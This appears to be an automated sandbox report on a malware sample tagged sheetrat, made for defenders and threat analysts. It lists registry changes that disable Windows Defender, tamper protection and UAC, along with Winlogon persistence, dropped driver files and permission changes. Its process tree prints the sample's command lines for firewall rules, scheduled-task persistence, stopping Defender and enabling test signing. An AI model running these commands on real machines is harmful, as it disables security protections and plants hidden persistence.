sheetrat | 7484bebb5e0f58dba1baa8eba0500d86ac68b59cb2e9b46ab79145988fa85e92

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2581000985-3042091657-4068028891-1000\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit = "C:\\Windows\\System32\\userinit.exe,C:\\Users\\Admin\\AppData\\Roaming\\svchost.exe,"	2026-06-30_d9353d736d1f9dedec5fcbece80d820d_amadey_darkgate_glassworm_icedid.exe

Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 4 IoCs

evasion trojan

Modify Registry

Windows Service

Disable or Modify Tools

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	2026-06-30_d9353d736d1f9dedec5fcbece80d820d_amadey_darkgate_glassworm_icedid.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	svchost.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	svchost.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	wsapxx.exe

Modifies Windows Defender TamperProtection settings 3 TTPs 3 IoCs

evasion trojan

Modify Registry

Windows Service

Disable or Modify Tools

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Features\TamperProtection = "0"	svchost.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Features\TamperProtection = "0"	2026-06-30_d9353d736d1f9dedec5fcbece80d820d_amadey_darkgate_glassworm_icedid.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Features\TamperProtection = "0"	svchost.exe

UAC bypass 3 TTPs 16 IoCs

defense_evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	2026-06-30_d9353d736d1f9dedec5fcbece80d820d_amadey_darkgate_glassworm_icedid.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	2026-06-30_d9353d736d1f9dedec5fcbece80d820d_amadey_darkgate_glassworm_icedid.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0"	2026-06-30_d9353d736d1f9dedec5fcbece80d820d_amadey_darkgate_glassworm_icedid.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	svchost.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorUser = "0"	svchost.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0"	svchost.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	wsapxx.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0"	wsapxx.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorUser = "0"	svchost.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	svchost.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	svchost.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorUser = "0"	2026-06-30_d9353d736d1f9dedec5fcbece80d820d_amadey_darkgate_glassworm_icedid.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	svchost.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0"	svchost.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	wsapxx.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorUser = "0"	wsapxx.exe

Detects binaries and memory artifacts referencing sandbox DLLs typically observed in sandbox evasion 1 IoCs

resource	yara_rule
behavioral2/memory/6076-0-0x0000015789BB0000-0x0000015789C12000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_SandboxHookingDLL

Detects executables (downlaoders) containing URLs to raw contents of a paste 1 IoCs

resource	yara_rule
behavioral2/memory/6076-0-0x0000015789BB0000-0x0000015789C12000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_RawPaste_URL

Detects executables embedding registry key / value combination indicative of disabling Windows Defen 1 IoCs

resource	yara_rule
behavioral2/memory/6076-0-0x0000015789BB0000-0x0000015789C12000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_RegKeyComb_DisableWinDefender

Modifies boot configuration data using bcdedit 1 TTPs 7 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
5736	bcdedit.exe
5764	bcdedit.exe
1296	bcdedit.exe
3240	bcdedit.exe
2072	bcdedit.exe
1288	bcdedit.exe
5452	bcdedit.exe

Drops file in Drivers directory 45 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\drivers\parport.sys	svchost.exe
File opened for modification	C:\Windows\system32\drivers\parport.sys	svchost.exe
File opened for modification	C:\Windows\system32\drivers\serial.sys	svchost.exe
File opened for modification	C:\Windows\system32\drivers\raspptp.sys	svchost.exe
File created	C:\Windows\system32\drivers\modem.sys	svchost.exe
File created	C:\Windows\system32\drivers\parport.sys	svchost.exe
File opened for modification	C:\Windows\system32\drivers\serial.sys	svchost.exe
File created	C:\Windows\system32\drivers\serial.sys	svchost.exe
File created	C:\Windows\system32\drivers\serial.sys	svchost.exe
File opened for modification	C:\Windows\system32\drivers\beep.sys	svchost.exe
File created	C:\Windows\system32\drivers\beep.sys	svchost.exe
File opened for modification	C:\Windows\system32\drivers\modem.sys	svchost.exe
File opened for modification	C:\Windows\system32\drivers\serenum.sys	svchost.exe
File opened for modification	C:\Windows\system32\drivers\serenum.sys	svchost.exe
File opened for modification	C:\Windows\system32\drivers\serenum.sys.bak	svchost.exe
File opened for modification	C:\Windows\system32\drivers\usbprint.sys	svchost.exe
File opened for modification	C:\Windows\system32\drivers\null.sys.bak	svchost.exe
File opened for modification	C:\Windows\system32\drivers\raspppoe.sys	svchost.exe
File opened for modification	C:\Windows\system32\drivers\modem.sys	svchost.exe
File created	C:\Windows\system32\drivers\serenum.sys	svchost.exe
File opened for modification	C:\Windows\system32\drivers\serial.sys.bak	svchost.exe
File opened for modification	C:\Windows\system32\drivers\null.sys	svchost.exe
File opened for modification	C:\Windows\system32\drivers\raspptp.sys	svchost.exe
File opened for modification	C:\Windows\system32\drivers\null.sys	svchost.exe
File created	C:\Windows\system32\drivers\null.sys	svchost.exe
File opened for modification	C:\Windows\system32\drivers\rasl2tp.sys	svchost.exe
File created	C:\Windows\system32\drivers\rasl2tp.sys	svchost.exe
File created	C:\Windows\system32\drivers\rasl2tp.sys	svchost.exe
File opened for modification	C:\Windows\system32\drivers\parport.sys.bak	svchost.exe
File opened for modification	C:\Windows\system32\drivers\usbprint.sys	svchost.exe
File created	C:\Windows\system32\drivers\usbprint.sys	svchost.exe
File created	C:\Windows\system32\drivers\parport.sys	svchost.exe
File created	C:\Windows\system32\drivers\serenum.sys	svchost.exe
File created	C:\Windows\system32\drivers\usbprint.sys	svchost.exe
File opened for modification	C:\Windows\system32\drivers\usbprint.sys.bak	svchost.exe
File opened for modification	C:\Windows\system32\drivers\raspppoe.sys	svchost.exe
File created	C:\Windows\system32\drivers\raspppoe.sys	svchost.exe
File created	C:\Windows\system32\drivers\raspptp.sys	svchost.exe
File opened for modification	C:\Windows\system32\drivers\modem.sys.bak	svchost.exe
File created	C:\Windows\system32\drivers\modem.sys	svchost.exe
File created	C:\Windows\system32\drivers\null.sys	svchost.exe
File opened for modification	C:\Windows\system32\drivers\rasl2tp.sys	svchost.exe
File created	C:\Windows\system32\drivers\raspppoe.sys	svchost.exe
File created	C:\Windows\system32\drivers\raspptp.sys	svchost.exe
File opened for modification	C:\Windows\system32\drivers\raspptp.sys.bak	svchost.exe

Possible privilege escalation attempt 45 IoCs

exploit

pid	Process
5868	icacls.exe
4008	takeown.exe
5984	icacls.exe
256	icacls.exe
1960	icacls.exe
3436	icacls.exe
2432	icacls.exe
3288	icacls.exe
6320	icacls.exe
3316	icacls.exe
4584	icacls.exe
2572	icacls.exe
2736	icacls.exe
5428	icacls.exe
1456	icacls.exe
2352	takeown.exe
3816	takeown.exe
6548	icacls.exe
2100	icacls.exe
1408	takeown.exe
6004	icacls.exe
5812	icacls.exe
6068	icacls.exe
4444	icacls.exe
6804	icacls.exe
6892	icacls.exe
1640	icacls.exe
3448	icacls.exe
676	takeown.exe
5388	icacls.exe
3416	icacls.exe
5752	icacls.exe
5936	icacls.exe
3320	icacls.exe
2608	icacls.exe
2416	icacls.exe
2756	icacls.exe
5448	icacls.exe
1656	icacls.exe
3660	icacls.exe
5676	icacls.exe
6044	icacls.exe
6412	icacls.exe
1100	icacls.exe
4220	takeown.exe

Executes dropped EXE 3 IoCs

pid	Process
2108	svchost.exe
5364	svchost.exe
1980	wsapxx.exe

Modifies file permissions 1 TTPs 45 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
6412	icacls.exe
2756	icacls.exe
3320	icacls.exe
1960	icacls.exe
2432	icacls.exe
3448	icacls.exe
676	takeown.exe
6320	icacls.exe
1408	takeown.exe
1656	icacls.exe
5388	icacls.exe
3416	icacls.exe
5868	icacls.exe
2608	icacls.exe
6892	icacls.exe
5676	icacls.exe
256	icacls.exe
3436	icacls.exe
1640	icacls.exe
4220	takeown.exe
2736	icacls.exe
5428	icacls.exe
6044	icacls.exe
4008	takeown.exe
2416	icacls.exe
2572	icacls.exe
5752	icacls.exe
1456	icacls.exe
2352	takeown.exe
6068	icacls.exe
2100	icacls.exe
5448	icacls.exe
3316	icacls.exe
1100	icacls.exe
6548	icacls.exe
6804	icacls.exe
6004	icacls.exe
3660	icacls.exe
3816	takeown.exe
5936	icacls.exe
4444	icacls.exe
5812	icacls.exe
4584	icacls.exe
3288	icacls.exe
5984	icacls.exe

Windows security modification 2 TTPs 3 IoCs

defense_evasion trojan

Disable or Modify Tools

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Features\TamperProtection = "0"	2026-06-30_d9353d736d1f9dedec5fcbece80d820d_amadey_darkgate_glassworm_icedid.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Features\TamperProtection = "0"	svchost.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Features\TamperProtection = "0"	svchost.exe

Checks whether UAC is enabled 1 TTPs 8 IoCs

defense_evasion trojan

System Information Discovery

T1082

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	2026-06-30_d9353d736d1f9dedec5fcbece80d820d_amadey_darkgate_glassworm_icedid.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	svchost.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	svchost.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	svchost.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	svchost.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	wsapxx.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	wsapxx.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	2026-06-30_d9353d736d1f9dedec5fcbece80d820d_amadey_darkgate_glassworm_icedid.exe

File and Directory Permissions Modification: Windows File and Directory Permissions Modification 1 TTPs
defense_evasion

Windows File and Directory Permissions Modification
T1222.001

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
1	ip-api.com

Launches sc.exe 3 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
5896	sc.exe
2832	sc.exe
2756	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies Control Panel 2 IoCs

defense_evasion

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-2581000985-3042091657-4068028891-1000\Control Panel\Desktop\DisplayTestMode = "0"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2581000985-3042091657-4068028891-1000\Control Panel\Desktop\PaintDesktopVersion = "0"	svchost.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 4 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
6600	schtasks.exe
5948	schtasks.exe
2084	schtasks.exe
2504	schtasks.exe

Suspicious behavior: EnumeratesProcesses 12 IoCs

pid	Process
6076	2026-06-30_d9353d736d1f9dedec5fcbece80d820d_amadey_darkgate_glassworm_icedid.exe
6076	2026-06-30_d9353d736d1f9dedec5fcbece80d820d_amadey_darkgate_glassworm_icedid.exe
6076	2026-06-30_d9353d736d1f9dedec5fcbece80d820d_amadey_darkgate_glassworm_icedid.exe
6076	2026-06-30_d9353d736d1f9dedec5fcbece80d820d_amadey_darkgate_glassworm_icedid.exe
5364	svchost.exe
5364	svchost.exe
5364	svchost.exe
2108	svchost.exe
2108	svchost.exe
2108	svchost.exe
2108	svchost.exe
5364	svchost.exe

Suspicious use of AdjustPrivilegeToken 14 IoCs

description	pid	Process
Token: SeDebugPrivilege	6076	2026-06-30_d9353d736d1f9dedec5fcbece80d820d_amadey_darkgate_glassworm_icedid.exe
Token: SeDebugPrivilege	6076	2026-06-30_d9353d736d1f9dedec5fcbece80d820d_amadey_darkgate_glassworm_icedid.exe
Token: SeTakeOwnershipPrivilege	6076	2026-06-30_d9353d736d1f9dedec5fcbece80d820d_amadey_darkgate_glassworm_icedid.exe
Token: SeRestorePrivilege	6076	2026-06-30_d9353d736d1f9dedec5fcbece80d820d_amadey_darkgate_glassworm_icedid.exe
Token: SeDebugPrivilege	2108	svchost.exe
Token: SeDebugPrivilege	5364	svchost.exe
Token: SeIncBasePriorityPrivilege	5364	svchost.exe
Token: SeDebugPrivilege	5364	svchost.exe
Token: SeTakeOwnershipPrivilege	5364	svchost.exe
Token: SeRestorePrivilege	5364	svchost.exe
Token: SeDebugPrivilege	2108	svchost.exe
Token: SeTakeOwnershipPrivilege	2108	svchost.exe
Token: SeRestorePrivilege	2108	svchost.exe
Token: SeDebugPrivilege	1980	wsapxx.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 6076 wrote to memory of 4548	6076	2026-06-30_d9353d736d1f9dedec5fcbece80d820d_amadey_darkgate_glassworm_icedid.exe	90
PID 4548 wrote to memory of 5896	4548	cmd.exe	92
PID 6076 wrote to memory of 6684	6076	2026-06-30_d9353d736d1f9dedec5fcbece80d820d_amadey_darkgate_glassworm_icedid.exe	93
PID 6076 wrote to memory of 5940	6076	2026-06-30_d9353d736d1f9dedec5fcbece80d820d_amadey_darkgate_glassworm_icedid.exe	94
PID 6076 wrote to memory of 3100	6076	2026-06-30_d9353d736d1f9dedec5fcbece80d820d_amadey_darkgate_glassworm_icedid.exe	95
PID 6076 wrote to memory of 2612	6076	2026-06-30_d9353d736d1f9dedec5fcbece80d820d_amadey_darkgate_glassworm_icedid.exe	99
PID 3100 wrote to memory of 6600	3100	cmd.exe	101
PID 5940 wrote to memory of 6296	5940	CMD.exe	100
PID 2612 wrote to memory of 5948	2612	cmd.exe	103
PID 6076 wrote to memory of 1304	6076	2026-06-30_d9353d736d1f9dedec5fcbece80d820d_amadey_darkgate_glassworm_icedid.exe	107
PID 1304 wrote to memory of 6884	1304	cmd.exe	109
PID 6884 wrote to memory of 6984	6884	net.exe	110
PID 6076 wrote to memory of 6220	6076	2026-06-30_d9353d736d1f9dedec5fcbece80d820d_amadey_darkgate_glassworm_icedid.exe	111
PID 6220 wrote to memory of 1300	6220	cmd.exe	113
PID 1300 wrote to memory of 6228	1300	net.exe	114
PID 6076 wrote to memory of 6616	6076	2026-06-30_d9353d736d1f9dedec5fcbece80d820d_amadey_darkgate_glassworm_icedid.exe	115
PID 6616 wrote to memory of 5736	6616	cmd.exe	117
PID 6076 wrote to memory of 5364	6076	2026-06-30_d9353d736d1f9dedec5fcbece80d820d_amadey_darkgate_glassworm_icedid.exe	119
PID 5364 wrote to memory of 6828	5364	svchost.exe	121
PID 5364 wrote to memory of 4320	5364	svchost.exe	122
PID 5364 wrote to memory of 2240	5364	svchost.exe	123
PID 2108 wrote to memory of 7028	2108	svchost.exe	124
PID 2108 wrote to memory of 6740	2108	svchost.exe	127
PID 2108 wrote to memory of 1512	2108	svchost.exe	129
PID 6828 wrote to memory of 4348	6828	CMD.exe	133
PID 6740 wrote to memory of 1384	6740	CMD.exe	134
PID 7028 wrote to memory of 2832	7028	cmd.exe	135
PID 4320 wrote to memory of 2084	4320	cmd.exe	136
PID 1512 wrote to memory of 2504	1512	cmd.exe	137
PID 2240 wrote to memory of 2756	2240	cmd.exe	138
PID 2108 wrote to memory of 5036	2108	svchost.exe	140
PID 5036 wrote to memory of 2544	5036	cmd.exe	142
PID 2544 wrote to memory of 5836	2544	net.exe	143
PID 2108 wrote to memory of 4396	2108	svchost.exe	144
PID 5364 wrote to memory of 3976	5364	svchost.exe	146
PID 4396 wrote to memory of 6300	4396	cmd.exe	147
PID 6300 wrote to memory of 2656	6300	net.exe	149
PID 3976 wrote to memory of 6656	3976	cmd.exe	150
PID 6656 wrote to memory of 2356	6656	net.exe	151
PID 5364 wrote to memory of 3444	5364	svchost.exe	152
PID 3444 wrote to memory of 5368	3444	cmd.exe	154
PID 5368 wrote to memory of 3064	5368	net.exe	155
PID 2108 wrote to memory of 356	2108	svchost.exe	156
PID 356 wrote to memory of 5764	356	cmd.exe	158
PID 2108 wrote to memory of 5512	2108	svchost.exe	159
PID 5512 wrote to memory of 1296	5512	cmd.exe	161
PID 5364 wrote to memory of 1312	5364	svchost.exe	162
PID 1312 wrote to memory of 3240	1312	cmd.exe	164
PID 5364 wrote to memory of 6508	5364	svchost.exe	165
PID 6508 wrote to memory of 2072	6508	cmd.exe	167
PID 2108 wrote to memory of 2908	2108	svchost.exe	168
PID 2908 wrote to memory of 5752	2908	cmd.exe	170
PID 2108 wrote to memory of 4568	2108	svchost.exe	171
PID 4568 wrote to memory of 4220	4568	cmd.exe	173
PID 2108 wrote to memory of 6812	2108	svchost.exe	174
PID 6812 wrote to memory of 2736	6812	cmd.exe	176
PID 2108 wrote to memory of 2668	2108	svchost.exe	177
PID 2108 wrote to memory of 3760	2108	svchost.exe	179
PID 3760 wrote to memory of 1456	3760	cmd.exe	181
PID 5364 wrote to memory of 3736	5364	svchost.exe	182
PID 3736 wrote to memory of 3448	3736	cmd.exe	184
PID 2108 wrote to memory of 4556	2108	svchost.exe	185
PID 5364 wrote to memory of 3484	5364	svchost.exe	187
PID 4556 wrote to memory of 2352	4556	cmd.exe	189

System policy modification 1 TTPs 25 IoCs

defense_evasion

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\FilterAdministratorToken = "0"	svchost.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorUser = "0"	wsapxx.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0"	wsapxx.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\FilterAdministratorToken = "0"	wsapxx.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableUIADesktopToggle = "1"	svchost.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableUIADesktopToggle = "1"	wsapxx.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\HideTestMode = "1"	svchost.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	2026-06-30_d9353d736d1f9dedec5fcbece80d820d_amadey_darkgate_glassworm_icedid.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	2026-06-30_d9353d736d1f9dedec5fcbece80d820d_amadey_darkgate_glassworm_icedid.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\FilterAdministratorToken = "0"	svchost.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0"	svchost.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableUIADesktopToggle = "1"	svchost.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	wsapxx.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorUser = "0"	2026-06-30_d9353d736d1f9dedec5fcbece80d820d_amadey_darkgate_glassworm_icedid.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableUIADesktopToggle = "1"	2026-06-30_d9353d736d1f9dedec5fcbece80d820d_amadey_darkgate_glassworm_icedid.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	svchost.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorUser = "0"	svchost.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	svchost.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0"	svchost.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	svchost.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	wsapxx.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0"	2026-06-30_d9353d736d1f9dedec5fcbece80d820d_amadey_darkgate_glassworm_icedid.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\FilterAdministratorToken = "0"	2026-06-30_d9353d736d1f9dedec5fcbece80d820d_amadey_darkgate_glassworm_icedid.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	svchost.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorUser = "0"	svchost.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\2026-06-30_d9353d736d1f9dedec5fcbece80d820d_amadey_darkgate_glassworm_icedid.exe
"C:\Users\Admin\AppData\Local\Temp\2026-06-30_d9353d736d1f9dedec5fcbece80d820d_amadey_darkgate_glassworm_icedid.exe"
1⤵
- Modifies WinLogon for persistence
- Modifies Windows Defender DisableAntiSpyware settings
- Modifies Windows Defender TamperProtection settings
- UAC bypass
- Windows security modification
- Checks whether UAC is enabled
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:6076
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c sc start TrustedInstaller
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4548
- - C:\Windows\system32\sc.exe
    sc start TrustedInstaller
    3⤵
    - Launches sc.exe
    PID:5896
- C:\Windows\SYSTEM32\CMD.exe
  "CMD" netsh advfirewall firewall add rule name="WindowsControl" dir=in action=allow program="C:\Users\Admin\AppData\Roaming\svchost.exe" enable=yes & exit
  2⤵
  PID:6684
- C:\Windows\SYSTEM32\CMD.exe
  "CMD" /c schtasks /delete /F /TN "12" & exit
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5940
- - C:\Windows\system32\schtasks.exe
    schtasks /delete /F /TN "12"
    3⤵
    PID:6296
- C:\Windows\SYSTEM32\cmd.exe
  "cmd" /c schtasks /create /f /sc onlogon /tn "12" /tr "C:\Users\Admin\AppData\Roaming\svchost.exe" & exit
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3100
- - C:\Windows\system32\schtasks.exe
    schtasks /create /f /sc onlogon /tn "12" /tr "C:\Users\Admin\AppData\Roaming\svchost.exe"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:6600
- C:\Windows\SYSTEM32\cmd.exe
  "cmd" /c schtasks /create /f /sc minute /mo 30 /tn "WindowsControlW" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\wsapxx.exe" /RL HIGHEST & exit
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2612
- - C:\Windows\system32\schtasks.exe
    schtasks /create /f /sc minute /mo 30 /tn "WindowsControlW" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\wsapxx.exe" /RL HIGHEST
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5948
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c net stop WinDefend
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1304
- - C:\Windows\system32\net.exe
    net stop WinDefend
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:6884
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop WinDefend
      4⤵
      PID:6984
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c net start WinDefend
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:6220
- - C:\Windows\system32\net.exe
    net start WinDefend
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1300
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 start WinDefend
      4⤵
      PID:6228
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c bcdedit /set testsigning on
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:6616
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set testsigning on
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:5736
- C:\Users\Admin\AppData\Roaming\svchost.exe
  "C:\Users\Admin\AppData\Roaming\svchost.exe"
  2⤵
  - Modifies Windows Defender DisableAntiSpyware settings
  - Modifies Windows Defender TamperProtection settings
  - UAC bypass
  - Drops file in Drivers directory
  - Executes dropped EXE
  - Windows security modification
  - Checks whether UAC is enabled
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  - System policy modification
  PID:5364
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c schtasks /delete /F /TN "12" & exit
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:6828
  - - C:\Windows\system32\schtasks.exe
      schtasks /delete /F /TN "12"
      4⤵
      PID:4348
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd" /c schtasks /create /f /sc onlogon /tn "12" /tr "C:\Users\Admin\AppData\Roaming\svchost.exe" & exit
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4320
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /f /sc onlogon /tn "12" /tr "C:\Users\Admin\AppData\Roaming\svchost.exe"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:2084
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd.exe" /c sc start TrustedInstaller
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2240
  - - C:\Windows\system32\sc.exe
      sc start TrustedInstaller
      4⤵
      Launches sc.exe
      PID:2756
